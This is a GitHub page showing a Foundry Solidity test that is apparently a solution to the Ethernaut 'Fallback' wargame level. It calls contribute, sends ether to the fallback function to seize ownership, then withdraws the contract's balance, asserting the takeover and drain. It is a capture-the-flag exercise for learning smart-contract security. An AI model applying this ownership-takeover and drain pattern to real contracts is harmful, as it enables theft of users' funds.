-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path1_Fallback.t.sol
More file actions
34 lines (23 loc) · 832 Bytes
/
1_Fallback.t.sol
File metadata and controls
34 lines (23 loc) · 832 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import {Test} from "forge-std/Test.sol";
import {IFallback} from "../src/interfaces/1_IFallback.sol";
address constant INSTANCE = 0xD65BF3AcdeD796e4329Fedc6d5d66c86E2074484;
contract FallbackPOCTest is Test {
IFallback instance = IFallback(INSTANCE);
function setUp() external {
vm.label(INSTANCE, "Fallback");
}
function test() external {
vm.startBroadcast();
assertNotEq(instance.owner(), msg.sender);
instance.contribute{value: 1 wei}();
(bool success,) = payable(INSTANCE).call{value: 1 wei}("");
assertTrue(success);
instance.withdraw();
instance.owner();
assertEq(instance.owner(), msg.sender);
assertEq(INSTANCE.balance, 0);
vm.stopBroadcast();
}
}